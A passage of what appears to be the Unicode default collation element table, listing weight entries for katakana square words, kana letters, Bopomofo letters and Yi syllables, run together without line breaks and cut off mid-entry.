[.3D77.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D66.0020.001C][.0000.0037.001C] # SQUARE PEEZI -333C ; [.3D77.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D6A.0020.001C] # SQUARE BEETA -3336 ; [.3D77.0020.001C][.3D62.0020.001C][.3D6A.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE HEKUTAARU -3337 ; [.3D77.0020.001C][.0000.0038.001C][.3D69.0020.001C] # SQUARE PESO -3338 ; [.3D77.0020.001C][.0000.0038.001C][.3D70.0020.001C][.3D75.0020.001C] # SQUARE PENIHI -3339 ; [.3D77.0020.001C][.3D84.0020.001C][.3D6C.0020.001C] # SQUARE HERUTU -333A ; [.3D77.0020.001C][.0000.0038.001C][.3D8B.0020.001C][.3D67.0020.001C] # SQUARE PENSU -307B ; [.3D78.0020.000E] # HIRAGANA LETTER HO -31F9 ; [.3D78.0020.000F] # KATAKANA LETTER SMALL HO -30DB ; [.3D78.0020.0011] # KATAKANA LETTER HO -FF8E ; [.3D78.0020.0012] # HALFWIDTH KATAKANA LETTER HO -32ED ; [.3D78.0020.0013] # CIRCLED KATAKANA HO -307C ; [.3D78.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BO -30DC ; [.3D78.0020.0011][.0000.0037.0002] # KATAKANA LETTER BO -307D ; [.3D78.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PO -30DD ; [.3D78.0020.0011][.0000.0038.0002] # KATAKANA LETTER PO -3341 ; [.3D78.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE HOORU -3342 ; [.3D78.0020.001C][.1C0E.0020.001C][.3D8B.0020.001C] # SQUARE HOON -333D ; [.3D78.0020.001C][.0000.0038.001C][.3D5B.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C] # SQUARE POINTO -1F200 ; [.3D78.0020.001C][.3D60.0020.001C] # SQUARE HIRAGANA HOKA -333E ; [.3D78.0020.001C][.0000.0037.001C][.3D84.0020.001C][.3D6E.0020.001C] # SQUARE BORUTO -333F ; [.3D78.0020.001C][.3D8B.0020.001C] # SQUARE HON -3340 ; [.3D78.0020.001C][.0000.0038.001C][.3D8B.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE PONDO -307E ; [.3D79.0020.000E] # HIRAGANA LETTER MA -30DE ; [.3D79.0020.0011] # KATAKANA LETTER MA -FF8F ; [.3D79.0020.0012] # HALFWIDTH KATAKANA LETTER MA -32EE ; [.3D79.0020.0013] # CIRCLED KATAKANA MA -3343 ; [.3D79.0020.001C][.3D5B.0020.001C][.3D62.0020.001C][.3D86.0020.001C] # SQUARE MAIKURO -3344 ; [.3D79.0020.001C][.3D5B.0020.001C][.3D84.0020.001C] # SQUARE MAIRU -303C ; [.3D79.0020.0004][.3D67.0020.0004] # MASU MARK -3345 ; [.3D79.0020.001C][.3D6C.0020.001C][.3D74.0020.001C] # SQUARE MAHHA -3346 ; [.3D79.0020.001C][.3D84.0020.001C][.3D62.0020.001C] # SQUARE MARUKU -3347 ; [.3D79.0020.001C][.3D8B.0020.001C][.3D66.0020.001C][.3D81.0020.001C][.3D8B.0020.001C] # SQUARE MANSYON -307F ; [.3D7A.0020.000E] # HIRAGANA LETTER MI -30DF ; [.3D7A.0020.0011] # KATAKANA LETTER MI -FF90 ; [.3D7A.0020.0012] # HALFWIDTH KATAKANA LETTER MI -32EF ; [.3D7A.0020.0013] # CIRCLED KATAKANA MI -3348 ; [.3D7A.0020.001C][.3D62.0020.001C][.3D86.0020.001C][.3D8B.0020.001C] # SQUARE MIKURON -3349 ; [.3D7A.0020.001C][.3D83.0020.001C] # SQUARE MIRI -334A ; [.3D7A.0020.001C][.3D83.0020.001C][.3D74.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE MIRIBAARU -3080 ; [.3D7B.0020.000E] # HIRAGANA LETTER MU -31FA ; [.3D7B.0020.000F] # KATAKANA LETTER SMALL MU -30E0 ; [.3D7B.0020.0011] # KATAKANA LETTER MU -FF91 ; [.3D7B.0020.0012] # HALFWIDTH KATAKANA LETTER MU -32F0 ; [.3D7B.0020.0013] # CIRCLED KATAKANA MU -3081 ; [.3D7C.0020.000E] # HIRAGANA LETTER ME -30E1 ; [.3D7C.0020.0011] # KATAKANA LETTER ME -FF92 ; [.3D7C.0020.0012] # HALFWIDTH KATAKANA LETTER ME -32F1 ; [.3D7C.0020.0013] # CIRCLED KATAKANA ME -334D ; [.3D7C.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE MEETORU -334B ; [.3D7C.0020.001C][.3D60.0020.001C][.0000.0037.001C] # SQUARE MEGA -334C ; [.3D7C.0020.001C][.3D60.0020.001C][.0000.0037.001C][.3D6E.0020.001C][.3D8B.0020.001C] # SQUARE MEGATON -3082 ; [.3D7D.0020.000E] # HIRAGANA LETTER MO -30E2 ; [.3D7D.0020.0011] # KATAKANA LETTER MO -FF93 ; [.3D7D.0020.0012] # HALFWIDTH KATAKANA LETTER MO -32F2 ; [.3D7D.0020.0013] # CIRCLED KATAKANA MO -3083 ; [.3D7E.0020.000D] # HIRAGANA LETTER SMALL YA -3084 ; [.3D7E.0020.000E] # HIRAGANA LETTER YA -30E3 ; [.3D7E.0020.000F] # KATAKANA LETTER SMALL YA -FF6C ; [.3D7E.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YA -30E4 ; [.3D7E.0020.0011] # KATAKANA LETTER YA -FF94 ; [.3D7E.0020.0012] # HALFWIDTH KATAKANA LETTER YA -32F3 ; [.3D7E.0020.0013] # CIRCLED KATAKANA YA -334E ; [.3D7E.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE YAADO -334F ; [.3D7E.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE YAARU -3085 ; [.3D7F.0020.000D] # HIRAGANA LETTER SMALL YU -3086 ; [.3D7F.0020.000E] # HIRAGANA LETTER YU -30E5 ; [.3D7F.0020.000F] # KATAKANA LETTER SMALL YU -FF6D ; [.3D7F.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YU -30E6 ; [.3D7F.0020.0011] # KATAKANA LETTER YU -FF95 ; [.3D7F.0020.0012] # HALFWIDTH KATAKANA LETTER YU -32F4 ; [.3D7F.0020.0013] # CIRCLED KATAKANA YU -3350 ; [.3D7F.0020.001C][.3D5A.0020.001C][.3D8B.0020.001C] # SQUARE YUAN -1B001 ; [.3D80.0020.000E] # HIRAGANA LETTER ARCHAIC YE -3087 ; [.3D81.0020.000D] # HIRAGANA LETTER SMALL YO -3088 ; [.3D81.0020.000E] # HIRAGANA LETTER YO -30E7 ; [.3D81.0020.000F] # KATAKANA LETTER SMALL YO -FF6E ; [.3D81.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YO -30E8 ; [.3D81.0020.0011] # KATAKANA LETTER YO -FF96 ; [.3D81.0020.0012] # HALFWIDTH KATAKANA LETTER YO -32F5 ; [.3D81.0020.0013] # CIRCLED KATAKANA YO -309F ; [.3D81.0020.0016][.3D83.0020.0016] # HIRAGANA DIGRAPH YORI -3089 ; [.3D82.0020.000E] # HIRAGANA LETTER RA -31FB ; [.3D82.0020.000F] # KATAKANA LETTER SMALL RA -30E9 ; [.3D82.0020.0011] # KATAKANA LETTER RA -FF97 ; [.3D82.0020.0012] # HALFWIDTH KATAKANA LETTER RA -32F6 ; [.3D82.0020.0013] # CIRCLED KATAKANA RA -308A ; [.3D83.0020.000E] # HIRAGANA LETTER RI -31FC ; [.3D83.0020.000F] # KATAKANA LETTER SMALL RI -30EA ; [.3D83.0020.0011] # KATAKANA LETTER RI -FF98 ; [.3D83.0020.0012] # HALFWIDTH KATAKANA LETTER RI -32F7 ; [.3D83.0020.0013] # CIRCLED KATAKANA RI -3351 ; [.3D83.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE RITTORU -3352 ; [.3D83.0020.001C][.3D82.0020.001C] # SQUARE RIRA -308B ; [.3D84.0020.000E] # HIRAGANA LETTER RU -31FD ; [.3D84.0020.000F] # KATAKANA LETTER SMALL RU -30EB ; [.3D84.0020.0011] # KATAKANA LETTER RU -FF99 ; [.3D84.0020.0012] # HALFWIDTH KATAKANA LETTER RU -32F8 ; [.3D84.0020.0013] # CIRCLED KATAKANA RU -3354 ; [.3D84.0020.001C][.1C0E.0020.001C][.3D76.0020.001C][.0000.0037.001C][.3D84.0020.001C] # SQUARE RUUBURU -3353 ; [.3D84.0020.001C][.3D75.0020.001C][.0000.0038.001C][.1C0E.0020.001C] # SQUARE RUPII -308C ; [.3D85.0020.000E] # HIRAGANA LETTER RE -31FE ; [.3D85.0020.000F] # KATAKANA LETTER SMALL RE -30EC ; [.3D85.0020.0011] # KATAKANA LETTER RE -FF9A ; [.3D85.0020.0012] # HALFWIDTH KATAKANA LETTER RE -32F9 ; [.3D85.0020.0013] # CIRCLED KATAKANA RE -3355 ; [.3D85.0020.001C][.3D7B.0020.001C] # SQUARE REMU -3356 ; [.3D85.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C][.3D63.0020.001C][.0000.0037.001C][.3D8B.0020.001C] # SQUARE RENTOGEN -308D ; [.3D86.0020.000E] # HIRAGANA LETTER RO -31FF ; [.3D86.0020.000F] # KATAKANA LETTER SMALL RO -30ED ; [.3D86.0020.0011] # KATAKANA LETTER RO -FF9B ; [.3D86.0020.0012] # HALFWIDTH KATAKANA LETTER RO -32FA ; [.3D86.0020.0013] # CIRCLED KATAKANA RO -308E ; [.3D87.0020.000D] # HIRAGANA LETTER SMALL WA -308F ; [.3D87.0020.000E] # HIRAGANA LETTER WA -30EE ; [.3D87.0020.000F] # KATAKANA LETTER SMALL WA -30EF ; [.3D87.0020.0011] # KATAKANA LETTER WA -FF9C ; [.3D87.0020.0012] # HALFWIDTH KATAKANA LETTER WA -32FB ; [.3D87.0020.0013] # CIRCLED KATAKANA WA -30F7 ; [.3D87.0020.0011][.0000.0037.0002] # KATAKANA LETTER VA -3357 ; [.3D87.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE WATTO -3090 ; [.3D88.0020.000E] # HIRAGANA LETTER WI -30F0 ; [.3D88.0020.0011] # KATAKANA LETTER WI -32FC ; [.3D88.0020.0013] # CIRCLED KATAKANA WI -30F8 ; [.3D88.0020.0011][.0000.0037.0002] # KATAKANA LETTER VI -3091 ; [.3D89.0020.000E] # HIRAGANA LETTER WE -30F1 ; [.3D89.0020.0011] # KATAKANA LETTER WE -32FD ; [.3D89.0020.0013] # CIRCLED KATAKANA WE -30F9 ; [.3D89.0020.0011][.0000.0037.0002] # KATAKANA LETTER VE -3092 ; [.3D8A.0020.000E] # HIRAGANA LETTER WO -30F2 ; [.3D8A.0020.0011] # KATAKANA LETTER WO -FF66 ; [.3D8A.0020.0012] # HALFWIDTH KATAKANA LETTER WO -32FE ; [.3D8A.0020.0013] # CIRCLED KATAKANA WO -30FA ; [.3D8A.0020.0011][.0000.0037.0002] # KATAKANA LETTER VO -3093 ; [.3D8B.0020.000E] # HIRAGANA LETTER N -30F3 ; [.3D8B.0020.0011] # KATAKANA LETTER N -FF9D ; [.3D8B.0020.0012] # HALFWIDTH KATAKANA LETTER N -3105 ; [.3D8C.0020.0002] # BOPOMOFO LETTER B -31A0 ; [.3D8C.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER BU -3106 ; [.3D8D.0020.0002] # BOPOMOFO LETTER P -31B4 ; [.3D8D.0020.0019] # BOPOMOFO FINAL LETTER P -3107 ; [.3D8E.0020.0002] # BOPOMOFO LETTER M -3108 ; [.3D8F.0020.0002] # BOPOMOFO LETTER F -312A ; [.3D90.0020.0002] # BOPOMOFO LETTER V -3109 ; [.3D91.0020.0002] # BOPOMOFO LETTER D -310A ; [.3D92.0020.0002] # BOPOMOFO LETTER T -31B5 ; [.3D92.0020.0019] # BOPOMOFO FINAL LETTER T -310B ; [.3D93.0020.0002] # BOPOMOFO LETTER N -310C ; [.3D94.0020.0002] # BOPOMOFO LETTER L -310D ; [.3D95.0020.0002] # BOPOMOFO LETTER G -31A3 ; [.3D95.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER GU -310E ; [.3D96.0020.0002] # BOPOMOFO LETTER K -31B6 ; [.3D96.0020.0019] # BOPOMOFO FINAL LETTER K -312B ; [.3D97.0020.0002] # BOPOMOFO LETTER NG -31AD ; [.3D98.0020.0002] # BOPOMOFO LETTER NGG -310F ; [.3D99.0020.0002] # BOPOMOFO LETTER H -31B7 ; [.3D99.0020.0019] # BOPOMOFO FINAL LETTER H -3110 ; [.3D9A.0020.0002] # BOPOMOFO LETTER J -31A2 ; [.3D9A.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER JI -3111 ; [.3D9B.0020.0002] # BOPOMOFO LETTER Q -3112 ; [.3D9C.0020.0002] # BOPOMOFO LETTER X -312C ; [.3D9D.0020.0002] # BOPOMOFO LETTER GN -3113 ; [.3D9E.0020.0002] # BOPOMOFO LETTER ZH -3114 ; [.3D9F.0020.0002] # BOPOMOFO LETTER CH -3115 ; [.3DA0.0020.0002] # BOPOMOFO LETTER SH -3116 ; [.3DA1.0020.0002] # BOPOMOFO LETTER R -3117 ; [.3DA2.0020.0002] # BOPOMOFO LETTER Z -31A1 ; [.3DA2.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ZI -3118 ; [.3DA3.0020.0002] # BOPOMOFO LETTER C -3119 ; [.3DA4.0020.0002] # BOPOMOFO LETTER S -31B8 ; [.3DA5.0020.0002] # BOPOMOFO LETTER GH -31B9 ; [.3DA6.0020.0002] # BOPOMOFO LETTER LH -31BA ; [.3DA7.0020.0002] # BOPOMOFO LETTER ZY -311A ; [.3DA8.0020.0002] # BOPOMOFO LETTER A -31A9 ; [.3DA8.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ANN -311B ; [.3DA9.0020.0002] # BOPOMOFO LETTER O -31A7 ; [.3DA9.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ONN -31A6 ; [.3DAA.0020.0002] # BOPOMOFO LETTER OO -311C ; [.3DAB.0020.0002] # BOPOMOFO LETTER E -311D ; [.3DAC.0020.0002] # BOPOMOFO LETTER EH -31A4 ; [.3DAD.0020.0002] # BOPOMOFO LETTER EE -31A5 ; [.3DAD.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER ENN -311E ; [.3DAE.0020.0002] # BOPOMOFO LETTER AI -31AE ; [.3DAE.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER AINN -311F ; [.3DAF.0020.0002] # BOPOMOFO LETTER EI -3120 ; [.3DB0.0020.0002] # BOPOMOFO LETTER AU -31AF ; [.3DB0.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER AUNN -3121 ; [.3DB1.0020.0002] # BOPOMOFO LETTER OU -3122 ; [.3DB2.0020.0002] # BOPOMOFO LETTER AN -3123 ; [.3DB3.0020.0002] # BOPOMOFO LETTER EN -3124 ; [.3DB4.0020.0002] # BOPOMOFO LETTER ANG -31B2 ; [.3DB5.0020.0002] # BOPOMOFO LETTER ONG -3125 ; [.3DB6.0020.0002] # BOPOMOFO LETTER ENG -31B0 ; [.3DB7.0020.0002] # BOPOMOFO LETTER AM -31B1 ; [.3DB8.0020.0002] # BOPOMOFO LETTER OM -31AC ; [.3DB9.0020.0002] # BOPOMOFO LETTER IM -3126 ; [.3DBA.0020.0002] # BOPOMOFO LETTER ER -3127 ; [.3DBB.0020.0002] # BOPOMOFO LETTER I -31AA ; [.3DBB.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER INN -31B3 ; [.3DBB.0020.0016][.0000.0111.0016] # BOPOMOFO LETTER INNN -3128 ; [.3DBC.0020.0002] # BOPOMOFO LETTER U -31AB ; [.3DBC.0020.0004][.0000.0111.0004] # BOPOMOFO LETTER UNN -31A8 ; [.3DBC.0020.0004][.0000.0112.0004] # BOPOMOFO LETTER IR -3129 ; [.3DBD.0020.0002] # BOPOMOFO LETTER IU -312D ; [.3DBE.0020.0002] # BOPOMOFO LETTER IH -A000 ; [.3DBF.0020.0002] # YI SYLLABLE IT -A001 ; [.3DC0.0020.0002] # YI SYLLABLE IX -A002 ; [.3DC1.0020.0002] # YI SYLLABLE I -A003 ; [.3DC2.0020.0002] # YI SYLLABLE IP -A004 ; [.3DC3.0020.0002] # YI SYLLABLE IET -A005 ; [.3DC4.0020.0002] # YI SYLLABLE IEX -A006 ; [.3DC5.0020.0002] # YI SYLLABLE IE -A007 ; [.3DC6.0020.0002] # YI SYLLABLE IEP -A008 ; [.3DC7.0020.0002] # YI SYLLABLE AT -A009 ; [.3DC8.0020.0002] # YI SYLLABLE AX -A00A ; [.3DC9.0020.0002] # YI SYLLABLE A -A00B ; [.3DCA.0020.0002] # YI SYLLABLE AP -A00C ; [.3DCB.0020.0002] # YI SYLLABLE UOX -A00D ; [.3DCC.0020.0002] # YI SYLLABLE UO -A00E ; [.3DCD.0020.0002] # YI SYLLABLE UOP -A00F ; [.3DCE.0020.0002] # YI SYLLABLE OT -A010 ; [.3DCF.0020.0002] # YI SYLLABLE OX -A011 ; [.3DD0.0020.0002] # YI SYLLABLE O -A012 ; [.3DD1.0020.0002] # YI SYLLABLE OP -A013 ; [.3DD2.0020.0002] # YI SYLLABLE EX -A014 ; [.3DD3.0020.0002] # YI SYLLABLE E -A015 ; [.3DD4.0020.0002] # YI SYLLABLE WU -A016 ; [.3DD5.0020.0002] # YI SYLLABLE BIT -A017 ; [.3DD6.0020.0002] # YI SYLLABLE BIX -A018 ; [.3DD7.0020.0002] # YI SYLLABLE BI -A019 ; [.3DD8.0020.0002] # YI SYLLABLE BIP -A01A ; [.3DD9.0020.0002] # YI SYLLABLE BIET -A01B ; [.3DDA.0020.0002] # YI SYLLABLE BIEX -A01C ; [.3DDB.0020.0002] # YI SYLLABLE BIE -A01D ; [.3DDC.0020.0002] # YI SYLLABLE BIEP -A01E ; [.3DDD.0020.0002] # YI SYLLABLE BAT -A01F ; [.3DDE.0020.0002] # YI SYLLABLE BAX -A020 ; [.3DDF.0020.0002] # YI SYLLABLE BA -A021 ; [.3DE0.0020.0002] # YI SYLLABLE BAP -A022 ; [.3DE1.0020.0002] # YI SYLLABLE BUOX -A023 ; [.3DE2.0020.0002] # YI SYLLABLE BUO -A024 ; [.3DE3.0020.0002] # YI SYLLABLE BUOP -A025 ; [.3DE4.0020.0002] # YI SYLLABLE BOT -A026 ; [.3DE5.0020.0002] # YI SYLLABLE BOX -A027 ; [.3DE6.0020.0002] # YI SYLLABLE BO -A028 ; [.3DE7.0020.0002] # YI SYLLABLE BOP -A029 ; [.3DE8.0020.0002] # YI SYLLABLE BEX -A02A ; [.3DE9.0020.0002] # YI SYLLABLE BE -A02B ; [.3DEA.0020.0002] # YI SYLLABLE BEP -A02C ; [.3DEB.0020.0002] # YI SYLLABLE BUT -A02D ; [.3DEC.0020.0002] # YI SYLLABLE BUX -A02E ; [.3DED.0020.0002] # YI SYLLABLE BU -A02F ; [.3DEE.0020.0002] # YI SYLLABLE BUP -A030 ; [.3DEF.0020.0002] # YI SYLLABLE BURX -A031 ; [.3DF0.0020.0002] # YI SYLLABLE BUR -A032 ; [.3DF1.0020.0002] # YI SYLLABLE BYT -A033 ; [.3DF2.0020.0002] # YI SYLLABLE BYX -A034 ; [.3DF3.0020.0002] # YI SYLLABLE BY -A035 ; [.3DF4.0020.0002] # YI SYLLABLE BYP -A036 ; [.3DF5.0020.0002] # YI SYLLABLE BYRX -A037 ; [.3DF6.0020.0002] # YI SYLLABLE BYR -A038 ; [.3DF7.0020.0002] # YI SYLLABLE PIT -A039 ; [.3DF8.0020.0002] # YI SYLLABLE PIX -A03A ; [.3DF9.0020.0002] # YI SYLLABLE PI -A03B ; [.3DFA.0020.0002] # YI SYLLABLE PIP -A03C ; [.3DFB.0020.0002] # YI SYLLABLE PIEX -A03D ; [.3DFC.0020.0002] # YI SYLLABLE PIE -A03E ; [.3DFD.0020.0002] # YI SYLLABLE PIEP -A03F ; [.3DFE.0020.0002] # YI SYLLABLE PAT -A040 ; [.3DFF.0020.0002] # YI SYLLABLE PAX -A041 ; [.3E00.0020.0002] # YI SYLLABLE PA -A042 ; [.3E01.0020.0002] # YI SYLLABLE PAP -A043 ; [.3E02.0020.0002] # YI SYLLABLE PUOX -A044 ; [.3E03.0020.0002] # YI SYLLABLE PUO -A045 ; [.3E04.0020.0002] # YI SYLLABLE PUOP -A046 ; [.3E05.0020.0002] # YI SYLLABLE POT -A047 ; [.3E06.0020.0002] # YI SYLLABLE POX -A048 ; [.3E07.0020.0002] # YI SYLLABLE PO -A049 ; [.3E08.0020.0002] # YI SYLLABLE POP -A04A ; [.3E09.0020.0002] # YI SYLLABLE PUT -A04B ; [.3E0A.0020.0002] # YI SYLLABLE PUX -A04C ; [.3E0B.0020.0002] # YI SYLLABLE PU -A04D ; [.3E0C.0020.0002] # YI SYLLABLE PUP -A04E ; [.3E0D.0020.0002] # YI SYLLABLE PURX -A04F ; [.3E0E.0020.0002] # YI SYLLABLE PUR -A050 ; [.3E0F.0020.0002] # YI SYLLABLE PYT -A051 ; [.3E10.0020.0002] # YI SYLLABLE PYX -A052 ; [.3E11.0020.0002] # YI SYLLABLE PY -A053 ; [.3E12.0020.0002] # YI SYLLABLE PYP -A054 ; [.3E13.0020.0002] # YI SYLLABLE PYRX -A055 ; [.3E14.0020.0002] # YI SYLLABLE PYR -A056 ; [.3E15.0020.0002] # YI SYLLABLE BBIT -A057 ; [.3E16.0020.0002] # YI SYLLABLE BBIX -A058 ; [.3E17.0020.0002] # YI SYLLABLE BBI -A059 ; [.3E18.0020.0002] # YI SYLLABLE BBIP -A05A ; [.3E19.0020.0002] # YI SYLLABLE BBIET -A05B ; [.3E1A.0020.0002] # YI SYLLABLE BBIEX -A05C ; [.3E1B.0020.0002] # YI SYLLABLE BBIE -A05D ; [.3E1C.0020.0002] # YI SYLLABLE BBIEP -A05E ; [.3E1D.0020.0002] # YI SYLLABLE BBAT -A05F ; [.3E1E.0020.0002] # YI SYLLABLE BBAX -A060 ; [.3E1F.0020.0002] # YI SYLLABLE BBA -A061 ; [.3E20.0020.0002] # YI SYLLABLE BBAP -A062 ; [.3E21.0020.0002] # YI SYLLABLE BBUOX -A063 ; [.3E22.0020.0002] # YI SYLLABLE BBUO -A064 ; [.3E23.0020.0002] # YI SYLLABLE BBUOP -A065 ; [.3E24.0020.0002] # YI SYLLABLE BBOT -A066 ; [.3E25.0020.0002] # YI SYLLABLE BBOX -A067 ; [.3E26.0020.0002] # YI SYLLABLE BBO -A068 ; [.3E27.0020.0002] # YI SYLLABLE BBOP -A069 ; [.3E28.0020.0002] # YI SYLLABLE BBEX -A06A ; [.3E29.0020.0002] # YI SYLLABLE BBE -A06B ; [.3E2A.0020.0002] # YI SYLLABLE BBEP -A06C ; [.3E2B.0020.0002] # YI SYLLABLE BBUT -A06D ; [.3E2C.0020.0002] # YI SYLLABLE BBUX -A06E ; [.3E2D.0020.0002] # YI SYLLABLE BBU -A06F ; [.3E2E.0020.0002] # YI SYLLABLE BBUP -A070 ; [.3E2F.0020.0002] # YI SYLLABLE BBURX -A071 ; [.3E30.0020.0002] # YI SYLLABLE BBUR -A072 ; [.3E31.0020.0002] # YI SYLLABLE BBYT -A073 ; [.3E32.0020.0002] # YI SYLLABLE BBYX -A074 ; [.3E33.0020.0002] # YI SYLLABLE BBY -A075 ; [.3E34.0020.0002] # YI SYLLABLE BBYP -A076 ; [.3E35.0020.0002] # YI SYLLABLE NBIT -A077 ; [.3E36.0020.0002] # YI SYLLABLE NBIX -A078 ; [.3E37.0020.0002] # YI SYLLABLE NBI -A079 ; [.3E38.0020.0002] # YI SYLLABLE NBIP -A07A ; [.3E39.0020.0002] # YI SYLLABLE NBIEX -A07B ; [.3E3A.0020.0002] # YI SYLLABLE NBIE -A07C ; [.3E3B.0020.0002] # YI SYLLABLE NBIEP -A07D ; [.3E3C.0020.0002] # YI SYLLABLE NBAT -A07E ; [.3E3D.0020.0002] # YI SYLLABLE NBAX -A07F ; [.3E3E.0020.0002] # YI SYLLABLE NBA -A080 ; [.3E3F.0020.0002] # YI SYLLABLE NBAP -A081 ; [.3E40.0020.0002] # YI SYLLABLE NBOT -A082 ; [.3E41.0020.0002] # YI SYLLABLE NBOX -A083 ; [.3E42.0020.0002] # YI SYLLABLE NBO -A084 ; [.3E43.0020.0002] # YI SYLLABLE NBOP -A085 ; [.3E44.0020.0002] # YI SYLLABLE NBUT -A086 ; [.3E45.0020.0002] # YI SYLLABLE NBUX -A087 ; [.3E46.0020.0002] # YI SYLLABLE NBU -A088 ; [.3E47.0020.0002] # YI SYLLABLE NBUP -A089 ; [.3E48.0020.0002] # YI SYLLABLE NBURX -A08A ; [.3E49.0020.0002] # YI SYLLABLE NBUR -A08B ; [.3E4A.0020.0002] # YI SYLLABLE NBYT -A08C ; [.3E4B.0020.0002] # YI SYLLABLE NBYX -A08D ; [.3E4C.0020.0002] # YI SYLLABLE NBY -A08E ; [.3E4D.0020.0002] # YI SYLLABLE NBYP -A08F ; [.3E4E.0020.0002] # YI SYLLABLE NBYRX -A090 ; [.3E4F.0020.0002] # YI SYLLABLE NBYR -A091 ; [.3E50.0020.0002] # YI SYLLABLE HMIT -A092 ; [.3E51.0020.0002] # YI SYLLABLE HMIX -A093 ; [.3E52.0020.0002] # YI SYLLABLE HMI -A094 ; [.3E53.0020.0002] # YI SYLLABLE HMIP -A095 ; [.3E54.0020.0002] # YI SYLLABLE HMIEX -A096 ; [.3E55.0020.0002] # YI SYLLABLE HMIE -A097 ; [.3E56.0020.0002] # YI SYLLABLE HMIEP -A098 ; [.3E57.0020.0002] # YI SYLLABLE HMAT -A099 ; [.3E58.0020.0002] # YI SYLLABLE HMAX -A09A ; [.3E59.0020.0002] # YI SYLLABLE HMA -A09B ; [.3E5A.0020.0002] # YI SYLLABLE HMAP -A09C ; [.3E5B.0020.0002] # YI SYLLABLE HMUOX -A09D ; [.3E5C.0020.0002] # YI SYLLABLE HMUO -A09E ; [.3E5D.0020.0002] # YI SYLLABLE HMUOP -A09F ; [.3E5E.0020.0002] # YI SYLLABLE HMOT -A0A0 ; [.3E5F.0020.0002] # YI SYLLABLE HMOX -A0A1 ; [.3E60.0020.0002] # YI SYLLABLE HMO -A0A2 ; [.3E61.0020.0002] # YI SYLLABLE HMOP -A0A3 ; [.3E62.0020.0002] # YI SYLLABLE HMUT -A0A4 ; [.3E63.0020.0002] # YI SYLLABLE HMUX -A0A5 ; [.3E64.0020.0002] # YI SYLLABLE HMU -A0A6 ; [.3E65.0020.0002] # YI SYLLABLE HMUP -A0A7 ; [.3E66.0020.0002] # YI SYLLABLE HMURX -A0A8 ; [.3E67.0020.0002] # YI SYLLABLE HMUR -A0A9 ; [.3E68.0020.0002] # YI SYLLABLE HMYX -A0AA ; [.3E69.0020.0002] # YI SYLLABLE HMY -A0AB ; [.3E6A.0020.0002] # YI SYLLABLE HMYP -A0AC ; [.3E6B.0020.0002] # YI SYLLABLE HMYRX -A0AD ; [.3E6C.0020.0002] # YI SYLLABLE HMYR -A0AE ; [.3E6D.0020.0002] # YI SYLLABLE MIT -A0AF ; [.3E6E.0020.0002] # YI SYLLABLE MIX -A0B0 ; [.3E6F.0020.0002] # YI SYLLABLE MI -A0B1 ; [.3E70.0020.0002] # YI SYLLABLE MIP -A0B2 ; [.3E71.0020.0002] # YI SYLLABLE MIEX -A0B3 ; [.3E72.0020.0002] # YI SYLLABLE MIE -A0B4 ; [.3E73.0020.0002] # YI SYLLABLE MIEP -A0B5 ; [.3E74.0020.0002] # YI SYLLABLE MAT -A0B6 ; [.3E75.0020.0002] # YI SYLLABLE MAX -A0B7 ; [.3E76.0020.0002] # YI SYLLABLE MA -A0B8 ; [.3E77.0020.0002] # YI SYLLABLE MAP -A0B9 ; [.3E78.0020.0002] # YI SYLLABLE MUOT -A0BA ; [.3E79.0020.0002] # YI SYLLABLE MUOX -A0BB ; [.3E7A.0020.0002] # YI SYLLABLE MUO -A0BC ; [.3E7B.0020.0002] # YI SYLLABLE MUOP -A0BD ; [.3E7C.0020.0002] # YI SYLLABLE MOT -A0BE ; [.3E7D.0020.0002] # YI SYLLABLE MOX -A0BF ; [.3E7E.0020.0002] # YI SYLLABLE MO -A0C0 ; [.3E7F.0020.0002] # YI SYLLABLE MOP -A0C1 ; [.3E80.0020.0002] # YI SYLLABLE MEX -A0C2 ; [.3E81.0020.0002] # YI SYLLABLE ME -A0C3 ; [.3E82.0020.0002] # YI SYLLABLE MUT -A0C4 ; [.3E83.0020.0002] # YI SYLLABLE MUX -A0C5 ; [.3E84.0020.0002] # YI SYLLABLE MU -A0C6 ; [.3E85.0020.0002] # YI SYLLABLE MUP -A0C7 ; [.3E86.0020.0002] # YI SYLLABLE MURX -A0C8 ; [.3E87.0020.0002] # YI SYLLABLE MUR -A0C9 ; [.3E88.0020.0002] # YI SYLLABLE MYT -A0CA ; [.3E89.0020.0002] # YI SYLLABLE MYX -A0CB ; [.3E8A.0020.0002] # YI SYLLABLE MY -A0CC ; [.3E8B.0020.0002] # YI SYLLABLE MYP -A0CD ; [.3E8C.0020.0002] # YI SYLLABLE FIT -A0CE ; [.3E8D.0020.0002] # YI SYLLABLE FIX -A0CF ; [.3E8E.0020.0002] # YI SYLLABLE FI -A0D0 ; [.3E8F.0020.0002] # YI SYLLABLE FIP -A0D1 ; [.3E90.0020.0002] # YI SYLLABLE FAT -A0D2 ; [.3E91.0020.0002] # YI SYLLABLE FAX -A0D3 ; [.3E92.0020.0002] # YI SYLLABLE FA -A0D4 ; [.3E93.0020.0002] # 